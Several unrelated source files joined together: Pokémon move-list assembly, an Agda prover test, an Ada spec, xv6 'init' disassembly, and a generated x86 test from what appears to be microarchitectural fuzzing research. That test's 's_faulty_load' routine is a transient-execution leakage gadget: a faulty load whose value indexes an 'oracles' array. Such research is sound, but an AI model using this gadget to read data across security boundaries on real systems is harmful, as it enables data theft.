dbw 1, CONFUSION
dbw 1, REST
dbw 6, IMPRISON
dbw 16, PROTECT
dbw 21, SWIFT
dbw 31, LUCKY_CHANT
dbw 36, FUTURE_SIGHT
dbw 46, CHARM
dbw 51, EXTRASENSORY
dbw 61, COPYCAT
dbw 66, NATURAL_GIFT
dbw 76, HEALING_WISH
db 0 ; no more level-up moves
AzelfEvosAttacks:
db 0 ; no more evolutions
dbw 1, CONFUSION
dbw 1, REST
dbw 6, IMPRISON
dbw 16, DETECT
dbw 21, SWIFT
dbw 31, UPROAR
dbw 36, FUTURE_SIGHT
dbw 46, NASTY_PLOT
dbw 51, EXTRASENSORY
dbw 61, LAST_RESORT
dbw 66, NATURAL_GIFT
dbw 76, EXPLOSION
db 0 ; no more level-up moves
DialgaEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCARY_FACE
dbw 1, DRAGONBREATH
dbw 10, METAL_CLAW
dbw 20, ANCIENTPOWER
dbw 30, DRAGON_CLAW
dbw 40, ROAR_OF_TIME
dbw 50, HEAL_BLOCK
dbw 60, EARTH_POWER
dbw 70, SLASH
dbw 80, FLASH_CANNON
dbw 90, AURA_SPHERE
db 0 ; no more level-up moves
PalkiaEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCARY_FACE
dbw 1, DRAGONBREATH
dbw 10, WATER_PULSE
dbw 20, ANCIENTPOWER
dbw 30, DRAGON_CLAW
dbw 40, SPACIAL_REND
dbw 50, HEAL_BLOCK
dbw 60, EARTH_POWER
dbw 70, SLASH
dbw 80, AQUA_TAIL
dbw 90, AURA_SPHERE
db 0 ; no more level-up moves
HeatranEvosAttacks:
db 0 ; no more evolutions
dbw 1, ANCIENTPOWER
dbw 9, LEER
dbw 17, FIRE_FANG
dbw 25, METAL_SOUND
dbw 33, CRUNCH
dbw 41, SCARY_FACE
dbw 49, LAVA_PLUME
dbw 57, FIRE_SPIN
dbw 65, IRON_HEAD
dbw 73, EARTH_POWER
dbw 81, HEAT_WAVE
dbw 88, STONE_EDGE
dbw 96, MAGMA_STORM
db 0 ; no more level-up moves
RegigigasEvosAttacks:
db 0 ; no more evolutions
dbw 1, FIRE_PUNCH
dbw 1, ICE_PUNCH
dbw 1, THUNDERPUNCH
dbw 1, CONFUSE_RAY
dbw 1, DIZZY_PUNCH
dbw 1, FORESIGHT
dbw 1, KNOCK_OFF
dbw 25, REVENGE
dbw 50, ZEN_HEADBUTT
dbw 75, CRUSH_GRIP
dbw 100, GIGA_IMPACT
db 0 ; no more level-up moves
GiratinaEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCARY_FACE
dbw 1, DRAGONBREATH
dbw 10, OMINOUS_WIND
dbw 20, ANCIENTPOWER
dbw 30, DRAGON_CLAW
dbw 40, SHADOW_FORCE
dbw 50, HEAL_BLOCK
dbw 60, EARTH_POWER
dbw 70, SLASH
dbw 80, SHADOW_CLAW
dbw 90, AURA_SPHERE
db 0 ; no more level-up moves
CresseliaEvosAttacks:
db 0 ; no more evolutions
dbw 1, CONFUSION
dbw 1, DOUBLE_TEAM
dbw 11, SAFEGUARD
dbw 20, MIST
dbw 29, AURORA_BEAM
dbw 38, FUTURE_SIGHT
dbw 47, SLASH
dbw 57, MOONLIGHT
dbw 66, PSYCHO_CUT
dbw 75, PSYCHO_SHIFT
dbw 84, LUNAR_DANCE
dbw 93, PSYCHIC_M
db 0 ; no more level-up moves
PhioneEvosAttacks:
db 0 ; no more evolutions
dbw 1, BUBBLE
dbw 1, WATER_SPORT
dbw 9, CHARM
dbw 16, SUPERSONIC
dbw 24, BUBBLEBEAM
dbw 31, ACID_ARMOR
dbw 39, WHIRLPOOL
dbw 46, WATER_PULSE
dbw 54, AQUA_RING
dbw 61, DIVE
dbw 69, RAIN_DANCE
db 0 ; no more level-up moves
ManaphyEvosAttacks:
db 0 ; no more evolutions
dbw 1, BUBBLE
dbw 1, TAIL_GLOW
dbw 1, WATER_SPORT
dbw 9, CHARM
dbw 16, SUPERSONIC
dbw 24, BUBBLEBEAM
dbw 31, ACID_ARMOR
dbw 39, WHIRLPOOL
dbw 46, WATER_PULSE
dbw 54, AQUA_RING
dbw 61, DIVE
dbw 69, RAIN_DANCE
dbw 76, HEART_SWAP
db 0 ; no more level-up moves
DarkraiEvosAttacks:
db 0 ; no more evolutions
dbw 1, DISABLE
dbw 1, OMINOUS_WIND
dbw 11, QUICK_ATTACK
dbw 20, HYPNOSIS
dbw 29, FAINT_ATTACK
dbw 38, NIGHTMARE
dbw 47, DOUBLE_TEAM
dbw 57, HAZE
dbw 66, DARK_VOID
dbw 75, NASTY_PLOT
dbw 84, DREAM_EATER
dbw 93, DARK_PULSE
db 0 ; no more level-up moves
ShayminEvosAttacks:
db 0 ; no more evolutions
dbw 1, GROWTH
dbw 10, MAGICAL_LEAF
dbw 19, LEECH_SEED
dbw 28, SYNTHESIS
dbw 37, SWEET_SCENT
dbw 46, NATURAL_GIFT
dbw 55, WORRY_SEED
dbw 64, AROMATHERAPY
dbw 73, ENERGY_BALL
dbw 82, SWEET_KISS
dbw 91, HEALING_WISH
dbw 100, SEED_FLARE
db 0 ; no more level-up moves
ArceusEvosAttacks:
db 0 ; no more evolutions
dbw 1, SEISMIC_TOSS
dbw 1, COSMIC_POWER
dbw 1, NATURAL_GIFT
dbw 1, PUNISHMENT
dbw 10, GRAVITY
dbw 20, EARTH_POWER
dbw 30, HYPER_VOICE
dbw 40, EXTREMESPEED
dbw 50, REFRESH
dbw 60, FUTURE_SIGHT
dbw 70, RECOVER
dbw 80, HYPER_BEAM
dbw 90, PERISH_SONG
dbw 100, JUDGMENT
db 0 ; no more level-up moves
|
test/Fail/non-theorems/Issue1/Functions.agda | asr/apia | 10 | 7409 | <gh_stars>1-10
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
-- From the technical manual of TPTP
-- (http://www.cs.miami.edu/~tptp/TPTP/TR/TPTPTR.shtml)
-- ... variables start with upper case letters, ... predicates and
-- functors either start with lower case and contain alphanumerics and
-- underscore ...
module Issue1.Functions where
postulate
D : Set
NAME : D β Set
nAME : D β Set
postulate foo : β a β NAME a
{-# ATP axiom foo #-}
-- This conjecture should not be proved.
postulate bar : β a β nAME a
{-# ATP prove bar #-}
|
src/test/ada/except.ads | cproc/genode-world | 2 | 13163 | <gh_stars>1-10
package Except
is
Test_Exception : exception;
procedure Do_Something;
procedure Do_Sth_2;
end Except;
|
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0x84_notsx.log_21829_3115.asm | ljhsiun2/medusa | 9 | 164123 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1ea9, %r15
nop
nop
nop
nop
inc %r8
movups (%r15), %xmm7
vpextrq $0, %xmm7, %r14
nop
nop
nop
nop
xor $35980, %r11
lea addresses_WT_ht+0x2a9, %rax
nop
nop
nop
inc %rdx
mov (%rax), %r10w
nop
nop
nop
nop
nop
cmp $38650, %r10
lea addresses_WT_ht+0x12ba9, %r14
nop
nop
nop
lfence
movups (%r14), %xmm4
vpextrq $1, %xmm4, %r11
nop
nop
nop
add $13988, %rdx
lea addresses_WC_ht+0x18e7d, %rdx
and %rax, %rax
movups (%rdx), %xmm6
vpextrq $0, %xmm6, %r8
nop
nop
sub $55198, %rdx
lea addresses_A_ht+0x15e29, %rax
nop
nop
nop
dec %rdx
movb $0x61, (%rax)
nop
nop
and $21760, %r10
lea addresses_normal_ht+0x5ca1, %rsi
lea addresses_D_ht+0x14829, %rdi
nop
nop
dec %r14
mov $57, %rcx
rep movsb
nop
nop
nop
add $20362, %r15
lea addresses_D_ht+0x17311, %rdi
nop
nop
nop
nop
nop
inc %r8
vmovups (%rdi), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %r11
nop
and %r14, %r14
lea addresses_A_ht+0xc829, %r10
nop
nop
nop
nop
xor %r8, %r8
mov (%r10), %r14w
sub %rsi, %rsi
lea addresses_D_ht+0xf629, %rsi
lea addresses_normal_ht+0x10b29, %rdi
clflush (%rsi)
nop
nop
nop
dec %r15
mov $7, %rcx
rep movsb
nop
and $12758, %rcx
lea addresses_WC_ht+0x11c29, %rsi
lea addresses_A_ht+0x10f39, %rdi
nop
nop
nop
dec %r11
mov $112, %rcx
rep movsl
nop
nop
nop
nop
dec %rdi
lea addresses_UC_ht+0x11cd9, %r10
nop
nop
nop
nop
dec %r11
movups (%r10), %xmm6
vpextrq $0, %xmm6, %r15
nop
nop
nop
nop
nop
sub $34263, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
// Store
mov $0xe21, %r10
nop
nop
nop
nop
nop
cmp $60947, %r8
movb $0x51, (%r10)
add %r11, %r11
// REPMOV
lea addresses_US+0x14aa9, %rsi
mov $0x64b, %rdi
nop
nop
nop
nop
sub %r8, %r8
mov $9, %rcx
rep movsb
nop
cmp $48762, %r11
// Faulty Load
lea addresses_A+0x3429, %r8
nop
nop
nop
nop
nop
dec %rdi
movaps (%r8), %xmm4
vpextrq $0, %xmm4, %r11
lea oracles, %rsi
and $0xff, %r11
shlq $12, %r11
mov (%rsi,%r11,1), %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_US', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_P', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
init.asm | eastclo/OS_3 | 0 | 2655 |
_init: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
char *argv[] = { "sh", 0 };
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
int pid, wpid;
if(open("console", O_RDWR) < 0){
f: 83 ec 08 sub $0x8,%esp
12: 6a 02 push $0x2
14: 68 18 08 00 00 push $0x818
19: e8 64 03 00 00 call 382 <open>
1e: 83 c4 10 add $0x10,%esp
21: 85 c0 test %eax,%eax
23: 0f 88 9f 00 00 00 js c8 <main+0xc8>
mknod("console", 1, 1);
open("console", O_RDWR);
}
dup(0); // stdout
29: 83 ec 0c sub $0xc,%esp
2c: 6a 00 push $0x0
2e: e8 87 03 00 00 call 3ba <dup>
dup(0); // stderr
33: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3a: e8 7b 03 00 00 call 3ba <dup>
3f: 83 c4 10 add $0x10,%esp
42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(;;){
printf(1, "init: starting sh\n");
48: 83 ec 08 sub $0x8,%esp
4b: 68 20 08 00 00 push $0x820
50: 6a 01 push $0x1
52: e8 69 04 00 00 call 4c0 <printf>
pid = fork();
57: e8 de 02 00 00 call 33a <fork>
if(pid < 0){
5c: 83 c4 10 add $0x10,%esp
5f: 85 c0 test %eax,%eax
pid = fork();
61: 89 c3 mov %eax,%ebx
if(pid < 0){
63: 78 2c js 91 <main+0x91>
printf(1, "init: fork failed\n");
exit();
}
if(pid == 0){
65: 74 3d je a4 <main+0xa4>
67: 89 f6 mov %esi,%esi
69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
exec("sh", argv);
printf(1, "init: exec sh failed\n");
exit();
}
while((wpid=wait()) >= 0 && wpid != pid)
70: e8 d5 02 00 00 call 34a <wait>
75: 85 c0 test %eax,%eax
77: 78 cf js 48 <main+0x48>
79: 39 c3 cmp %eax,%ebx
7b: 74 cb je 48 <main+0x48>
printf(1, "zombie!\n");
7d: 83 ec 08 sub $0x8,%esp
80: 68 5f 08 00 00 push $0x85f
85: 6a 01 push $0x1
87: e8 34 04 00 00 call 4c0 <printf>
8c: 83 c4 10 add $0x10,%esp
8f: eb df jmp 70 <main+0x70>
printf(1, "init: fork failed\n");
91: 53 push %ebx
92: 53 push %ebx
93: 68 33 08 00 00 push $0x833
98: 6a 01 push $0x1
9a: e8 21 04 00 00 call 4c0 <printf>
exit();
9f: e8 9e 02 00 00 call 342 <exit>
exec("sh", argv);
a4: 50 push %eax
a5: 50 push %eax
a6: 68 18 0b 00 00 push $0xb18
ab: 68 46 08 00 00 push $0x846
b0: e8 c5 02 00 00 call 37a <exec>
printf(1, "init: exec sh failed\n");
b5: 5a pop %edx
b6: 59 pop %ecx
b7: 68 49 08 00 00 push $0x849
bc: 6a 01 push $0x1
be: e8 fd 03 00 00 call 4c0 <printf>
exit();
c3: e8 7a 02 00 00 call 342 <exit>
mknod("console", 1, 1);
c8: 50 push %eax
c9: 6a 01 push $0x1
cb: 6a 01 push $0x1
cd: 68 18 08 00 00 push $0x818
d2: e8 b3 02 00 00 call 38a <mknod>
open("console", O_RDWR);
d7: 58 pop %eax
d8: 5a pop %edx
d9: 6a 02 push $0x2
db: 68 18 08 00 00 push $0x818
e0: e8 9d 02 00 00 call 382 <open>
e5: 83 c4 10 add $0x10,%esp
e8: e9 3c ff ff ff jmp 29 <main+0x29>
ed: 66 90 xchg %ax,%ax
ef: 90 nop
000000f0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 53 push %ebx
f4: 8b 45 08 mov 0x8(%ebp),%eax
f7: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
fa: 89 c2 mov %eax,%edx
fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
100: 83 c1 01 add $0x1,%ecx
103: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
107: 83 c2 01 add $0x1,%edx
10a: 84 db test %bl,%bl
10c: 88 5a ff mov %bl,-0x1(%edx)
10f: 75 ef jne 100 <strcpy+0x10>
;
return os;
}
111: 5b pop %ebx
112: 5d pop %ebp
113: c3 ret
114: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
11a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000120 <strcmp>:
int
strcmp(const char *p, const char *q)
{
120: 55 push %ebp
121: 89 e5 mov %esp,%ebp
123: 53 push %ebx
124: 8b 55 08 mov 0x8(%ebp),%edx
127: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
12a: 0f b6 02 movzbl (%edx),%eax
12d: 0f b6 19 movzbl (%ecx),%ebx
130: 84 c0 test %al,%al
132: 75 1c jne 150 <strcmp+0x30>
134: eb 2a jmp 160 <strcmp+0x40>
136: 8d 76 00 lea 0x0(%esi),%esi
139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
140: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
143: 0f b6 02 movzbl (%edx),%eax
p++, q++;
146: 83 c1 01 add $0x1,%ecx
149: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
14c: 84 c0 test %al,%al
14e: 74 10 je 160 <strcmp+0x40>
150: 38 d8 cmp %bl,%al
152: 74 ec je 140 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
154: 29 d8 sub %ebx,%eax
}
156: 5b pop %ebx
157: 5d pop %ebp
158: c3 ret
159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
160: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
162: 29 d8 sub %ebx,%eax
}
164: 5b pop %ebx
165: 5d pop %ebp
166: c3 ret
167: 89 f6 mov %esi,%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <strlen>:
uint
strlen(const char *s)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
176: 80 39 00 cmpb $0x0,(%ecx)
179: 74 15 je 190 <strlen+0x20>
17b: 31 d2 xor %edx,%edx
17d: 8d 76 00 lea 0x0(%esi),%esi
180: 83 c2 01 add $0x1,%edx
183: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
187: 89 d0 mov %edx,%eax
189: 75 f5 jne 180 <strlen+0x10>
;
return n;
}
18b: 5d pop %ebp
18c: c3 ret
18d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
190: 31 c0 xor %eax,%eax
}
192: 5d pop %ebp
193: c3 ret
194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
19a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000001a0 <memset>:
void*
memset(void *dst, int c, uint n)
{
1a0: 55 push %ebp
1a1: 89 e5 mov %esp,%ebp
1a3: 57 push %edi
1a4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
1a7: 8b 4d 10 mov 0x10(%ebp),%ecx
1aa: 8b 45 0c mov 0xc(%ebp),%eax
1ad: 89 d7 mov %edx,%edi
1af: fc cld
1b0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
1b2: 89 d0 mov %edx,%eax
1b4: 5f pop %edi
1b5: 5d pop %ebp
1b6: c3 ret
1b7: 89 f6 mov %esi,%esi
1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001c0 <strchr>:
char*
strchr(const char *s, char c)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 53 push %ebx
1c4: 8b 45 08 mov 0x8(%ebp),%eax
1c7: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
1ca: 0f b6 10 movzbl (%eax),%edx
1cd: 84 d2 test %dl,%dl
1cf: 74 1d je 1ee <strchr+0x2e>
if(*s == c)
1d1: 38 d3 cmp %dl,%bl
1d3: 89 d9 mov %ebx,%ecx
1d5: 75 0d jne 1e4 <strchr+0x24>
1d7: eb 17 jmp 1f0 <strchr+0x30>
1d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1e0: 38 ca cmp %cl,%dl
1e2: 74 0c je 1f0 <strchr+0x30>
for(; *s; s++)
1e4: 83 c0 01 add $0x1,%eax
1e7: 0f b6 10 movzbl (%eax),%edx
1ea: 84 d2 test %dl,%dl
1ec: 75 f2 jne 1e0 <strchr+0x20>
return (char*)s;
return 0;
1ee: 31 c0 xor %eax,%eax
}
1f0: 5b pop %ebx
1f1: 5d pop %ebp
1f2: c3 ret
1f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000200 <gets>:
char*
gets(char *buf, int max)
{
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 57 push %edi
204: 56 push %esi
205: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
206: 31 f6 xor %esi,%esi
208: 89 f3 mov %esi,%ebx
{
20a: 83 ec 1c sub $0x1c,%esp
20d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
210: eb 2f jmp 241 <gets+0x41>
212: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
218: 8d 45 e7 lea -0x19(%ebp),%eax
21b: 83 ec 04 sub $0x4,%esp
21e: 6a 01 push $0x1
220: 50 push %eax
221: 6a 00 push $0x0
223: e8 32 01 00 00 call 35a <read>
if(cc < 1)
228: 83 c4 10 add $0x10,%esp
22b: 85 c0 test %eax,%eax
22d: 7e 1c jle 24b <gets+0x4b>
break;
buf[i++] = c;
22f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
233: 83 c7 01 add $0x1,%edi
236: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
239: 3c 0a cmp $0xa,%al
23b: 74 23 je 260 <gets+0x60>
23d: 3c 0d cmp $0xd,%al
23f: 74 1f je 260 <gets+0x60>
for(i=0; i+1 < max; ){
241: 83 c3 01 add $0x1,%ebx
244: 3b 5d 0c cmp 0xc(%ebp),%ebx
247: 89 fe mov %edi,%esi
249: 7c cd jl 218 <gets+0x18>
24b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
24d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
250: c6 03 00 movb $0x0,(%ebx)
}
253: 8d 65 f4 lea -0xc(%ebp),%esp
256: 5b pop %ebx
257: 5e pop %esi
258: 5f pop %edi
259: 5d pop %ebp
25a: c3 ret
25b: 90 nop
25c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
260: 8b 75 08 mov 0x8(%ebp),%esi
263: 8b 45 08 mov 0x8(%ebp),%eax
266: 01 de add %ebx,%esi
268: 89 f3 mov %esi,%ebx
buf[i] = '\0';
26a: c6 03 00 movb $0x0,(%ebx)
}
26d: 8d 65 f4 lea -0xc(%ebp),%esp
270: 5b pop %ebx
271: 5e pop %esi
272: 5f pop %edi
273: 5d pop %ebp
274: c3 ret
275: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000280 <stat>:
int
stat(const char *n, struct stat *st)
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 56 push %esi
284: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
285: 83 ec 08 sub $0x8,%esp
288: 6a 00 push $0x0
28a: ff 75 08 pushl 0x8(%ebp)
28d: e8 f0 00 00 00 call 382 <open>
if(fd < 0)
292: 83 c4 10 add $0x10,%esp
295: 85 c0 test %eax,%eax
297: 78 27 js 2c0 <stat+0x40>
return -1;
r = fstat(fd, st);
299: 83 ec 08 sub $0x8,%esp
29c: ff 75 0c pushl 0xc(%ebp)
29f: 89 c3 mov %eax,%ebx
2a1: 50 push %eax
2a2: e8 f3 00 00 00 call 39a <fstat>
close(fd);
2a7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
2aa: 89 c6 mov %eax,%esi
close(fd);
2ac: e8 b9 00 00 00 call 36a <close>
return r;
2b1: 83 c4 10 add $0x10,%esp
}
2b4: 8d 65 f8 lea -0x8(%ebp),%esp
2b7: 89 f0 mov %esi,%eax
2b9: 5b pop %ebx
2ba: 5e pop %esi
2bb: 5d pop %ebp
2bc: c3 ret
2bd: 8d 76 00 lea 0x0(%esi),%esi
return -1;
2c0: be ff ff ff ff mov $0xffffffff,%esi
2c5: eb ed jmp 2b4 <stat+0x34>
2c7: 89 f6 mov %esi,%esi
2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002d0 <atoi>:
int
atoi(const char *s)
{
2d0: 55 push %ebp
2d1: 89 e5 mov %esp,%ebp
2d3: 53 push %ebx
2d4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
2d7: 0f be 11 movsbl (%ecx),%edx
2da: 8d 42 d0 lea -0x30(%edx),%eax
2dd: 3c 09 cmp $0x9,%al
n = 0;
2df: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
2e4: 77 1f ja 305 <atoi+0x35>
2e6: 8d 76 00 lea 0x0(%esi),%esi
